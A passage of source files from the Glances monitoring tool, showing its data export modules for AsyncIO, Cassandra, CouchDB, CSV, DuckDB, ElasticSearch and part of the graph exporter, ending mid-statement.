fields[\"key\"] in fields:\n                # Create a tag from the key\n                # Tag should be an string (see InfluxDB data model)\n                tags[fields[\"key\"]] = str(fields[fields[\"key\"]])\n                # Remove it from the field list (can not be a field and a tag)\n                fields.pop(fields[\"key\"])\n            # Add name as a tag (example for the process list)\n            for k in FIELD_TO_TAG:\n                if k in fields:\n                    tags[k] = str(fields[k])\n                    # Remove it from the field list (can not be a field and a tag)\n                    fields.pop(k)\n            # Add the measurement to the list\n            ret.append({\"measurement\": name, \"tags\": tags, \"fields\": fields})\n        return ret\n\n    def is_excluded(self, field):\n        \"\"\"Return true if the field is excluded.\"\"\"\n        return any(re.fullmatch(i, field, re.I) for i in (getattr(self, 'exclude_fields') or ()))\n\n    def plugins_to_export(self, stats):\n        \"\"\"Return the list of plugins to export.\n\n        :param stats: the stats object\n        :return: a list of plugins to export\n        \"\"\"\n        return [p for p in stats.getPluginsList() if p not in self.non_exportable_plugins]\n\n    def last_exported_list(self):\n        \"\"\"Return the list of plugins last exported.\"\"\"\n        return self._last_exported_list\n\n    def init_fields(self, stats):\n        \"\"\"Return fields description in order to init stats in a server.\"\"\"\n        if not self.export_enable:\n            return False\n\n        self._last_exported_list = self.plugins_to_export(stats)\n        self._fields_description = stats.getAllFieldsDescriptionAsDict(plugin_list=self.last_exported_list())\n        return self._fields_description\n\n    def update(self, stats):\n        \"\"\"Update stats to a server.\n\n        The method builds two lists: names and values and calls the export method to export the stats.\n\n        Note: if needed this class can be overwritten.\n        \"\"\"\n        if not self.export_enable:\n            return False\n\n        # Get all the stats & limits\n        self._last_exported_list = self.plugins_to_export(stats)\n        all_stats = stats.getAllExportsAsDict(plugin_list=self.last_exported_list())\n        all_limits = stats.getAllLimitsAsDict(plugin_list=self.last_exported_list())\n\n        # Loop over plugins to export\n        for plugin in self.last_exported_list():\n            if isinstance(all_stats[plugin], dict):\n                all_stats[plugin].update(all_limits[plugin])\n                # Remove the <plugin>_disable field\n                all_stats[plugin].pop(f\"{plugin}_disable\", None)\n            elif isinstance(all_stats[plugin], list):\n                # TypeError: string indices must be integers (Network plugin) #1054\n                for i in all_stats[plugin]:\n                    i.update(all_limits[plugin])\n                    # Remove the <plugin>_disable field\n                    i.pop(f\"{plugin}_disable\", None)\n            else:\n                continue\n            export_names, export_values = self.build_export(all_stats[plugin])\n            self.export(plugin, export_names, export_values)\n\n        return True\n\n    def build_export(self, stats):\n        \"\"\"Build the export lists.\n        This method builds two lists: names and values.\n        \"\"\"\n\n        # Initialize export lists\n        export_names = []\n        export_values = []\n\n        if isinstance(stats, dict):\n            # Stats is a dict\n            # Is there a key ?\n            if \"key\" in stats and stats[\"key\"] in stats:\n                pre_key = \"{}.\".format(stats[stats[\"key\"]])\n            else:\n                pre_key = \"\"\n            # Walk through the dict\n            # Priviously, we sort the dict but it breaks export for some plugins (see #3449)\n            for key, value in stats.items():\n                # Convert the key to a string and lower case it\n                key = str(key).lower()\n                if isinstance(value, bool):\n                    value = json_dumps(value).decode()\n\n                if isinstance(value, list):\n                    value = \" \".join([str(v) for v in value])\n\n                if isinstance(value, dict):\n                    item_names, item_values = self.build_export(value)\n                    item_names = [pre_key + key + str(i) for i in item_names]\n                    export_names += item_names\n                    export_values += item_values\n                else:\n                    # We are on a simple value\n                    if self.is_excluded(pre_key + key):\n                        continue\n                    export_names.append(pre_key + key)\n                    export_values.append(value)\n        elif isinstance(stats, list):\n            # Stats is a list (of dict)\n            # Recursive loop through the list\n            for item in stats:\n                item_names, item_values = self.build_export(item)\n                export_names += item_names\n                export_values += item_values\n        return export_names, export_values\n\n    def export(self, name, columns, points):\n        # This method should be implemented by each exporter\n        pass\n"
  },
  {
    "path": "glances/exports/export_asyncio.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2026 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"\nI am your son...\n...abstract class for AsyncIO-based Glances exports.\n\"\"\"\n\nimport asyncio\nimport threading\nimport time\nfrom abc import abstractmethod\n\nfrom glances.exports.export import GlancesExport\nfrom glances.logger import logger\n\n\nclass GlancesExportAsyncio(GlancesExport):\n    \"\"\"Abstract class for AsyncIO-based export modules.\n\n    This class manages a persistent event loop in a background thread,\n    allowing child classes to use AsyncIO operations for exporting data.\n\n    Child classes must implement:\n    - async _async_init(): AsyncIO initialization (e.g., connection setup)\n    - async _async_exit(): AsyncIO cleanup (e.g., disconnection)\n    - async _async_export(name, columns, points): AsyncIO export operation\n    \"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the AsyncIO export interface.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # AsyncIO event loop management\n        self.loop = None\n        self._loop_ready = threading.Event()\n        self._loop_exception = None\n        self._shutdown = False\n\n        # Start the background event loop thread\n        self._loop_thread = threading.Thread(target=self._run_event_loop, daemon=True)\n        self._loop_thread.start()\n\n        # Wait for the loop to be ready\n        if not self._loop_ready.wait(timeout=10):\n            raise RuntimeError(\"AsyncIO event loop failed to start within timeout\")\n\n        if self._loop_exception:\n            raise RuntimeError(f\"AsyncIO event loop creation failed: {self._loop_exception}\")\n\n        if self.loop is None:\n            raise RuntimeError(\"AsyncIO event loop is None after initialization\")\n\n        # Call child class AsyncIO initialization\n        future = asyncio.run_coroutine_threadsafe(self._async_init(), self.loop)\n        try:\n            future.result(timeout=10)\n            logger.debug(f\"{self.export_name} AsyncIO export initialized successfully\")\n        except Exception as e:\n            logger.warning(f\"{self.export_name} AsyncIO initialization failed: {e}. Will retry in background.\")\n\n    def _run_event_loop(self):\n        \"\"\"Run event loop in background thread.\"\"\"\n        try:\n            self.loop = asyncio.new_event_loop()\n            asyncio.set_event_loop(self.loop)\n            self._loop_ready.set()\n            self.loop.run_forever()\n        except Exception as e:\n            self._loop_exception = e\n            self._loop_ready.set()\n            logger.error(f\"{self.export_name} AsyncIO event loop thread error: {e}\")\n        finally:\n            # Clean up pending tasks\n            pending = asyncio.all_tasks(self.loop)\n            for task in pending:\n                task.cancel()\n            if pending:\n                self.loop.run_until_complete(asyncio.gather(*pending, return_exceptions=True))\n            self.loop.close()\n\n    @abstractmethod\n    async def _async_init(self):\n        \"\"\"AsyncIO initialization method.\n\n        Child classes should implement this method to perform AsyncIO-based\n        initialization such as connecting to servers, setting up clients, etc.\n\n        This method is called once during __init__ after the event loop is ready.\n        \"\"\"\n        pass\n\n    @abstractmethod\n    async def _async_exit(self):\n        \"\"\"AsyncIO cleanup method.\n\n        Child classes should implement this method to perform AsyncIO-based\n        cleanup such as disconnecting from servers, closing clients, etc.\n\n        This method is called during exit() before stopping the event loop.\n        \"\"\"\n        pass\n\n    @abstractmethod\n    async def _async_export(self, name, columns, points):\n        \"\"\"AsyncIO export method.\n\n        Child classes must implement this method to perform the actual\n        export operation using AsyncIO.\n\n        :param name: plugin name\n        :param columns: list of column names\n        :param points: list of values corresponding to columns\n        \"\"\"\n        pass\n\n    def exit(self):\n        \"\"\"Close the AsyncIO export module.\"\"\"\n        super().exit()\n        self._shutdown = True\n        logger.info(f\"{self.export_name} AsyncIO export shutting down\")\n\n        # Call child class cleanup\n        if self.loop:\n            future = asyncio.run_coroutine_threadsafe(self._async_exit(), self.loop)\n            try:\n                future.result(timeout=5)\n            except Exception as e:\n                logger.error(f\"{self.export_name} Error in AsyncIO cleanup: {e}\")\n\n        # Stop the event loop\n        if self.loop:\n            self.loop.call_soon_threadsafe(self.loop.stop)\n            time.sleep(0.5)\n\n        logger.debug(f\"{self.export_name} AsyncIO export shutdown complete\")\n\n    def export(self, name, columns, points):\n        \"\"\"Export data using AsyncIO.\n\n        This method bridges the synchronous export() interface with\n        the AsyncIO _async_export() implementation.\n        \"\"\"\n        if self._shutdown:\n            logger.debug(f\"{self.export_name} Export called during shutdown, skipping\")\n            return\n\n        if not self.loop or not self.loop.is_running():\n            logger.error(f\"{self.export_name} AsyncIO event loop is not running\")\n            return\n\n        # Submit the export operation to the background event loop\n        try:\n            future = asyncio.run_coroutine_threadsafe(self._async_export(name, columns, points), self.loop)\n            # Don't block forever - use a short timeout\n            future.result(timeout=1)\n        except asyncio.TimeoutError:\n            logger.warning(f\"{self.export_name} AsyncIO export timeout for {name}\")\n        except Exception as e:\n            logger.error(f\"{self.export_name} AsyncIO export error for {name}: {e}\", exc_info=True)\n"
  },
  {
    "path": "glances/exports/glances_cassandra/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Cassandra/Scylla interface class.\"\"\"\n\nimport sys\nfrom datetime import datetime\nfrom numbers import Number\n\nfrom cassandra import InvalidRequest\nfrom cassandra.auth import PlainTextAuthProvider\nfrom cassandra.cluster import Cluster\nfrom cassandra.util import uuid_from_time\n\nfrom glances.exports.export import GlancesExport\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the Cassandra/Scylla export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the Cassandra export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Mandatory configuration keys (additional to host and port)\n        self.keyspace = None\n\n        # Optional configuration keys\n        self.protocol_version = 3\n        self.replication_factor = 2\n        self.table = None\n        self.username = None\n        self.password = None\n\n        # Load the Cassandra configuration file section\n        self.export_enable = self.load_conf(\n            'cassandra',\n            mandatories=['host', 'port', 'keyspace'],\n            options=['protocol_version', 'replication_factor', 'table', 'username', 'password'],\n        )\n        if not self.export_enable:\n            sys.exit(2)\n\n        # Init the Cassandra client\n        self.cluster, self.session = self.init()\n\n    def init(self):\n        \"\"\"Init the connection to the Cassandra server.\"\"\"\n        if not self.export_enable:\n            return None\n\n        # if username and/or password are not set the connection will try to connect with no auth\n        auth_provider = PlainTextAuthProvider(username=self.username, password=self.password)\n\n        # Cluster\n        try:\n            cluster = Cluster(\n                [self.host],\n                port=int(self.port),\n                protocol_version=int(self.protocol_version),\n                auth_provider=auth_provider,\n            )\n            session = cluster.connect()\n        except Exception as e:\n            logger.critical(f\"Cannot connect to Cassandra cluster '{self.host}:{self.port}' ({e})\")\n            sys.exit(2)\n\n        # Keyspace\n        try:\n            session.set_keyspace(self.keyspace)\n        except InvalidRequest:\n            logger.info(f\"Create keyspace {self.keyspace} on the Cassandra cluster\")\n            c = (\n                f\"CREATE KEYSPACE {self.keyspace} WITH \"\n                f\"replication = {{ 'class': 'SimpleStrategy', 'replication_factor': '{self.replication_factor}' }}\"\n            )\n            session.execute(c)\n            session.set_keyspace(self.keyspace)\n\n        logger.info(\n            f\"Stats will be exported to Cassandra cluster {cluster.metadata.cluster_name} \"\n            f\"({cluster.metadata.all_hosts()}) in keyspace {self.keyspace}\"\n        )\n\n        # Table\n        try:\n            session.execute(\n                f\"CREATE TABLE {self.table} \"\n                f\"(plugin text, time timeuuid, stat map<text,float>, PRIMARY KEY (plugin, time)) \"\n                f\"WITH CLUSTERING ORDER BY (time DESC)\"\n            )\n        except Exception:\n            logger.debug(f\"Cassandra table {self.table} already exist\")\n\n        return cluster, session\n\n    def export(self, name, columns, points):\n        \"\"\"Write the points to the Cassandra cluster.\"\"\"\n        logger.debug(f\"Export {name} stats to Cassandra\")\n\n        # Remove non number stats and convert all to float (for Boolean)\n        data = {k: float(v) for k, v in zip(columns, points) if isinstance(v, Number)}\n\n        # Write input to the Cassandra table\n        try:\n            stmt = f\"INSERT INTO {self.table} (plugin, time, stat) VALUES (?, ?, ?)\"\n            query = self.session.prepare(stmt)\n            self.session.execute(query, (name, uuid_from_time(datetime.now()), data))\n        except Exception as e:\n            logger.error(f\"Cannot export {name} stats to Cassandra ({e})\")\n\n    def exit(self):\n        \"\"\"Close the Cassandra export module.\"\"\"\n        # To ensure all connections are properly closed\n        self.session.shutdown()\n        self.cluster.shutdown()\n        # Call the father method\n        super().exit()\n"
  },
  {
    "path": "glances/exports/glances_couchdb/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"CouchDB interface class.\"\"\"\n\n#\n# How to test ?\n#\n# 1) docker run -d -e COUCHDB_USER=admin -e COUCHDB_PASSWORD=admin -p 5984:5984 --name my-couchdb couchdb\n# 2) .venv/bin/python -m glances -C ./conf/glances.conf --export couchdb --quiet\n# 3) Result can be seen at: http://127.0.0.1:5984/_utils\n#\n\nimport sys\nfrom datetime import datetime\n\nimport pycouchdb\n\nfrom glances.exports.export import GlancesExport\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the CouchDB export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the CouchDB export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Load the CouchDB configuration file section\n        # User and Password are mandatory with CouchDB 3.0 and higher\n        self.export_enable = self.load_conf('couchdb', mandatories=['host', 'port', 'db', 'user', 'password'])\n        if not self.export_enable:\n            sys.exit(2)\n\n        # Init the CouchDB client\n        self.client = self.init()\n\n    def init(self):\n        \"\"\"Init the connection to the CouchDB server.\"\"\"\n        if not self.export_enable:\n            return None\n\n        # @TODO: https\n        server_uri = f'http://{self.user}:{self.password}@{self.host}:{self.port}/'\n\n        try:\n            s = pycouchdb.Server(server_uri)\n        except Exception as e:\n            logger.critical(f\"Cannot connect to CouchDB server ({e})\")\n            sys.exit(2)\n        else:\n            logger.info(\"Connected to the CouchDB server version {}\".format(s.info()['version']))\n\n        try:\n            s.database(self.db)\n        except Exception:\n            # Database did not exist\n            # Create it...\n            s.create(self.db)\n            logger.info(f\"Create CouchDB database {self.db}\")\n        else:\n            logger.info(f\"CouchDB database {self.db} already exist\")\n\n        return s.database(self.db)\n\n    def export(self, name, columns, points):\n        \"\"\"Write the points to the CouchDB server.\"\"\"\n        logger.debug(f\"Export {name} stats to CouchDB\")\n\n        # Create DB input\n        data = dict(zip(columns, points))\n\n        # Add the type and the timestamp in ISO format\n        data['type'] = name\n        data['time'] = datetime.now().isoformat()[:-3] + 'Z'\n\n        # Write data to the CouchDB database\n        try:\n            self.client.save(data)\n        except Exception as e:\n            logger.error(f\"Cannot export {name} stats to CouchDB ({e})\")\n"
  },
  {
    "path": "glances/exports/glances_csv/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"CSV interface class.\"\"\"\n\nimport csv\nimport os.path\nimport sys\nimport time\n\nfrom glances.exports.export import GlancesExport\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the CSV export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the CSV export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # CSV file name\n        self.csv_filename = args.export_csv_file\n\n        # Set the CSV output file\n        # (see https://github.com/nicolargo/glances/issues/1525)\n        if not os.path.isfile(self.csv_filename) or args.export_csv_overwrite:\n            # File did not exist, create it\n            file_mode = 'w'\n            self.old_header = None\n        else:\n            # A CSV file already exit, append new data\n            file_mode = 'a'\n            # Header will be checked later\n            # Get the existing one\n            try:\n                self.csv_file = open_csv_file(self.csv_filename, 'r')\n                reader = csv.reader(self.csv_file)\n            except OSError as e:\n                logger.critical(f\"Cannot open existing CSV file: {e}\")\n                sys.exit(2)\n            self.old_header = next(reader, None)\n            self.csv_file.close()\n\n        try:\n            self.csv_file = open_csv_file(self.csv_filename, file_mode)\n            self.writer = csv.writer(self.csv_file)\n        except OSError as e:\n            logger.critical(f\"Cannot create the CSV file: {e}\")\n            sys.exit(2)\n\n        logger.info(f\"Stats exported to CSV file: {self.csv_filename}\")\n\n        self.export_enable = True\n\n        self.first_line = True\n\n    def exit(self):\n        \"\"\"Close the CSV file.\"\"\"\n        logger.debug(f\"Finalise export interface {self.export_name}\")\n        self.csv_file.close()\n\n    def update(self, stats):\n        \"\"\"Update stats in the CSV output file.\n        Note: This class overwrite the one in the parent class because we need to manage the header.\n        \"\"\"\n        # Get the stats\n        all_stats = stats.getAllExportsAsDict(plugin_list=self.plugins_to_export(stats))\n\n        # Init data with timestamp (issue#708)\n        if self.first_line:\n            csv_header = ['timestamp']\n        csv_data = [time.strftime('%Y-%m-%d %H:%M:%S')]\n\n        # Loop over plugins to export\n        for plugin in self.plugins_to_export(stats):\n            export_names, export_values = self.build_export(all_stats[plugin])\n            # Add the plugin name in the field\n            export_names = [plugin + '.' + n for n in export_names]\n            if self.first_line:\n                csv_header += export_names\n            csv_data += export_values\n\n        # Export to CSV\n        # Manage header\n        if self.first_line:\n            if self.old_header is None:\n                # New file, write the header on top on the CSV file\n                self.writer.writerow(csv_header)\n            # File already exist, check if header are compatible\n            if self.old_header != csv_header and self.old_header is not None:\n                # Header are different, log an error and do not write data\n                logger.error(\"Cannot append data to existing CSV file. Headers are different.\")\n                logger.debug(f\"Old header: {self.old_header}\")\n                logger.debug(f\"New header: {csv_header}\")\n            else:\n                # Header are equals, ready to write data\n                self.old_header = None\n            # Only do this once\n            self.first_line = False\n        # Manage data\n        if self.old_header is None:\n            self.writer.writerow(csv_data)\n            self.csv_file.flush()\n\n    def export(self, name, columns, points):\n        \"\"\"Export the stats to the CSV file.\n        For the moment everything is done in the update method.\"\"\"\n\n\ndef open_csv_file(file_name, file_mode):\n    return open(file_name, file_mode, newline='')\n"
  },
  {
    "path": "glances/exports/glances_duckdb/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2025 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"DuckDB interface class.\"\"\"\n\nimport sys\nimport time\nfrom datetime import datetime\nfrom platform import node\n\nimport duckdb\n\nfrom glances.exports.export import GlancesExport\nfrom glances.logger import logger\n\n\ndef _quote_identifier(name):\n    \"\"\"Quote a SQL identifier to prevent injection.\n\n    DuckDB uses standard double-quote escaping for identifiers.\n    Any embedded double-quote is doubled to escape it.\n    \"\"\"\n    return '\"' + str(name).replace('\"', '\"\"') + '\"'\n\n\n# Define the type conversions for DuckDB\n# https://duckdb.org/docs/stable/clients/python/conversion\nconvert_types = {\n    'bool': 'BOOLEAN',\n    'int': 'BIGINT',\n    'float': 'DOUBLE',\n    'str': 'VARCHAR',\n    'tuple': 'VARCHAR',  # Store tuples as VARCHAR (comma-separated)\n    'list': 'VARCHAR',  # Store lists as VARCHAR (comma-separated)\n    'NoneType': 'VARCHAR',\n}\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the DuckDB export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the DuckDB export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Mandatory configuration keys (additional to host and port)\n        self.db = None\n\n        # Optional configuration keys\n        self.user = None\n        self.password = None\n        self.hostname = None\n\n        # Load the configuration file\n        self.export_enable = self.load_conf(\n            'duckdb', mandatories=['database'], options=['user', 'password', 'hostname']\n        )\n        if not self.export_enable:\n            exit('Missing DuckDB config')\n\n        # The hostname is always add as an identifier in the DuckDB table\n        # so we can filter the stats by hostname\n        self.hostname = self.hostname or node().split(\".\")[0]\n\n        # Init the DuckDB client\n        self.client = self.init()\n\n    def init(self):\n        \"\"\"Init the connection to the DuckDB server.\"\"\"\n        if not self.export_enable:\n            return None\n\n        try:\n            db = duckdb.connect(database=self.database)\n        except Exception as e:\n            logger.critical(f\"Cannot connect to DuckDB {self.database} ({e})\")\n            sys.exit(2)\n        else:\n            logger.info(f\"Stats will be exported to DuckDB: {self.database}\")\n\n        return db\n\n    def normalize(self, value):\n        # Nothing to do...\n        if isinstance(value, list) and len(value) == 1 and value[0] in ['True', 'False']:\n            return bool(value[0])\n        return value\n\n    def update(self, stats):\n        \"\"\"Update the DuckDB export module.\"\"\"\n        if not self.export_enable:\n            return False\n\n        # Get all the stats & limits\n        # Current limitation with sensors and fs plugins because fields list is not the same\n        self._last_exported_list = [p for p in self.plugins_to_export(stats) if p not in ['sensors', 'fs']]\n        all_stats = stats.getAllExportsAsDict(plugin_list=self.last_exported_list())\n        all_limits = stats.getAllLimitsAsDict(plugin_list=self.last_exported_list())\n\n        # Loop over plugins to export\n        for plugin in self.last_exported_list():\n            # Remove some fields\n            if isinstance(all_stats[plugin], dict):\n                all_stats[plugin].update(all_limits[plugin])\n                # Remove the <plugin>_disable field\n                all_stats[plugin].pop(f\"{plugin}_disable\", None)\n            elif isinstance(all_stats[plugin], list):\n                for i in all_stats[plugin]:\n                    i.update(all_limits[plugin])\n                    # Remove the <plugin>_disable field\n                    i.pop(f\"{plugin}_disable\", None)\n            else:\n                continue\n\n            plugin_stats = all_stats[plugin]\n            creation_list = []  # List used to create the DuckDB table\n            values_list = []  # List of values to insert (list of lists, one list per row)\n            if isinstance(plugin_stats, dict):\n                # Create the list to create the table\n                creation_list.append(f'{_quote_identifier(\"time\")} TIMETZ')\n                creation_list.append(f'{_quote_identifier(\"hostname_id\")} VARCHAR')\n                for key, value in plugin_stats.items():\n                    creation_list.append(\n                        f\"{_quote_identifier(key)} {convert_types[type(self.normalize(value)).__name__]}\"\n                    )\n                # Create the list of values to insert\n                item_list = []\n                item_list.append(self.normalize(datetime.now().replace(microsecond=0)))\n                item_list.append(self.normalize(f\"{self.hostname}\"))\n                item_list.extend([self.normalize(value) for value in plugin_stats.values()])\n                values_list = [item_list]\n            elif isinstance(plugin_stats, list) and len(plugin_stats) > 0 and 'key' in plugin_stats[0]:\n                # Create the list to create the table\n                creation_list.append(f'{_quote_identifier(\"time\")} TIMETZ')\n                creation_list.append(f'{_quote_identifier(\"hostname_id\")} VARCHAR')\n                creation_list.append(f'{_quote_identifier(\"key_id\")} VARCHAR')\n                for key, value in plugin_stats[0].items():\n                    creation_list.append(\n                        f\"{_quote_identifier(key)} {convert_types[type(self.normalize(value)).__name__]}\"\n                    )\n                # Create the list of values to insert\n                for plugin_item in plugin_stats:\n                    item_list = []\n                    item_list.append(self.normalize(datetime.now().replace(microsecond=0)))\n                    item_list.append(self.normalize(f\"{self.hostname}\"))\n                    item_list.append(self.normalize(f\"{plugin_item.get('key')}\"))\n                    item_list.extend([self.normalize(value) for value in plugin_item.values()])\n                    values_list.append(item_list)\n            else:\n                continue\n\n            # Export stats to DuckDB\n            self.export(plugin, creation_list, values_list)\n\n        return True\n\n    def export(self, plugin, creation_list, values_list):\n        \"\"\"Export the stats to the DuckDB server.\"\"\"\n        logger.debug(f\"Export {plugin} stats to DuckDB\")\n\n        # Create the table if it does not exist\n        quoted_plugin = _quote_identifier(plugin)\n        table_list = [t[0] for t in self.client.sql(\"SHOW TABLES\").fetchall()]\n        if plugin not in table_list:\n            # Execute the create table query\n            create_query = f\"CREATE TABLE {quoted_plugin} ({', '.join(creation_list)});\"\n            logger.debug(f\"Create table: {create_query}\")\n            try:\n                self.client.execute(create_query)\n            except Exception as e:\n                logger.error(f\"Cannot create table {plugin}: {e}\")\n                return\n\n        # Commit the changes\n        self.client.commit()\n\n        # Insert values into the table\n        for values in values_list:\n            insert_query = f\"INSERT INTO {quoted_plugin} VALUES ({', '.join(['?' for _ in values])});\"\n            logger.debug(f\"Insert values into table {plugin}: {values}\")\n            try:\n                self.client.execute(insert_query, values)\n            except Exception as e:\n                logger.error(f\"Cannot insert data into table {plugin}: {e}\")\n\n        # Commit the changes\n        self.client.commit()\n\n    def exit(self):\n        \"\"\"Close the DuckDB export module.\"\"\"\n        # Force last write\n        self.client.commit()\n\n        # Close the DuckDB client\n        time.sleep(3)  # Wait a bit to ensure all data is written\n        self.client.close()\n\n        # Call the father method\n        super().exit()\n"
  },
  {
    "path": "glances/exports/glances_elasticsearch/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"ElasticSearch interface class.\"\"\"\n\nimport sys\nfrom datetime import datetime\n\nfrom elasticsearch import Elasticsearch, helpers\n\nfrom glances.exports.export import GlancesExport\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the ElasticSearch (ES) export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the ES export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Mandatory configuration keys (additional to host and port)\n        self.index = None\n\n        # Load the ES configuration file\n        self.export_enable = self.load_conf(\n            'elasticsearch', mandatories=['scheme', 'host', 'port', 'index'], options=[]\n        )\n        if not self.export_enable:\n            sys.exit(2)\n\n        # Init the ES client\n        self.client = self.init()\n\n    def init(self):\n        \"\"\"Init the connection to the ES server.\"\"\"\n        if not self.export_enable:\n            return None\n\n        try:\n            es = Elasticsearch(hosts=[f'{self.scheme}://{self.host}:{self.port}'])\n        except Exception as e:\n            logger.critical(f\"Cannot connect to ElasticSearch server {self.scheme}://{self.host}:{self.port} ({e})\")\n            sys.exit(2)\n\n        if not es.ping():\n            logger.critical(f\"Cannot ping the ElasticSearch server {self.scheme}://{self.host}:{self.port}\")\n            sys.exit(2)\n        else:\n            logger.info(f\"Connected to the ElasticSearch server {self.scheme}://{self.host}:{self.port}\")\n\n        return es\n\n    def export(self, name, columns, points):\n        \"\"\"Write the points to the ES server.\"\"\"\n        logger.debug(f\"Export {name} stats to ElasticSearch\")\n\n        # Generate index name with the index field + current day\n        index = '{}-{}'.format(self.index, datetime.utcnow().strftime(\"%Y.%m.%d\"))\n\n        # Create DB input\n        # https://elasticsearch-py.readthedocs.io/en/master/helpers.html\n        actions = []\n        dt_now = datetime.utcnow().isoformat('T')\n        action = {\n            \"_index\": index,\n            \"_id\": f'{name}.{dt_now}',\n            \"_type\": f'glances-{name}',\n            \"_source\": {\"plugin\": name, \"timestamp\": dt_now},\n        }\n        action['_source'].update(zip(columns, [str(p) for p in points]))\n        actions.append(action)\n\n        logger.debug(f\"Exporting the following object to elasticsearch: {action}\")\n\n        # Write input to the ES index\n        try:\n            helpers.bulk(self.client, actions)\n        except Exception as e:\n            logger.error(f\"Cannot export {name} stats to ElasticSearch ({e})\")\n"
  },
  {
    "path": "glances/exports/glances_graph/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Graph exporter interface class.\"\"\"\n\nimport errno\nimport os\nimport sys\nimport tempfile\n\nimport pygal.style\nfrom pygal import DateTimeLine\n\nfrom glances.exports.export import GlancesExport\nfrom glances.globals import time_series_subsample\nfrom glances.logger import logger\nfrom glances.timer import Timer\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the Graph export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the export IF.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Load the Graph configuration file section (is exists)\n        self.export_enable = self.load_conf('graph', options=['path', 'generate_every', 'width', 'height', 'style'])\n\n        # Manage options (command line arguments overwrite configuration file)\n        self.path = self.path or args.export_graph_path\n        self.generate_every = int(getattr(self, 'generate_every', 0) or 0)\n        self.width = int(getattr(self, 'width', 800) or 800)\n        self.height = int(getattr(self, 'height', 600) or 600)\n        self.style = (\n            getattr(pygal.style, getattr(self, 'style', 'DarkStyle'), pygal.style.DarkStyle) or pygal.style.DarkStyle\n        )\n\n        # Create export folder\n        try:\n            os.makedirs(self.path)\n        except OSError as e:\n            if e.errno != errno.EEXIST:\n                logger.critical(f\"Cannot create the Graph output folder {self.path} ({e})\")\n                sys.exit(2)\n\n        # Check if output folder is writeable\n        try:\n            tempfile.TemporaryFile(dir=self.path)\n        except OSError:\n            logger.critical(f\"Graph output folder {self.path} is not writeable\")\n            sys.exit(2)\n\n        logger.info(f\"Graphs will be created in the {self.path} folder\")\n        if self.generate_every != 0:\n            logger.info(f\"Graphs will be created automatically every {self.generate_every} seconds\")\n            logger.info(\"or when 'g' key is pressed (only through the CLI interface)\")\n            # Start the timer\n            self._timer = Timer(self.generate_every)\n        else:\n            logger.info(\"Graphs will be created  when 'g' key is pressed (in the CLI interface)\")\n            self._timer = None\n\n    def exit(self):\n        \"\"\"Close the files.\"\"\"\n        logger.debug(f\"Finalise export interface {self.export_name}\")\n\n    def update(self, stats):\n        \"\"\"Generate Graph file in the output folder.\"\"\"\n\n        if self.generate_every != 0 and self._timer.finished():\n            self.args.generate_graph = True\n            self._timer.reset()\n\n        if not self.args.generate_graph:\n            return\n\n        plugins = stats.getPluginsList()\n        for plugin_name in plugins:\n            plugin = stats._plugins[plugin_name]\n            if plugin_name in self.plugins_to_export(stats):\n                self.export(plugin_name, plugin.get_export_history())\n\n        logger.info(f\"Graphs created in {self.path}\")\n        self.args.generate_graph = False\n\n    def export(self, title, data):\n        \"\"\"Generate graph from the data.\n\n        Example for the mem plugin:\n        {'percent': [\n            (datetime.datetime(2018, 3, 24, 16, 27, 47, 282070), 51.8),\n            (datetime.datetime(2018, 3, 24, 16, 27, 47, 540999), 51.9),\n            (datetime.datetime(2018, 3, 24, 16, 27, 50, 653390), 52.0),\n            (datetime.datetime(2018, 3, 24, 16, 27, 53, 749702), 52.0),\n            (datetime.datetime(2018, 3, 24, 16, 27, 56, 825660), 52.0),\n            ...\n            ]\n        }\n\n        Return:\n        * True if the graph have been generated\n        * False if the graph have not been generated\n        \"\"\"\n        if data == {}:\n            return False\n\n        chart = DateTimeLine(\n            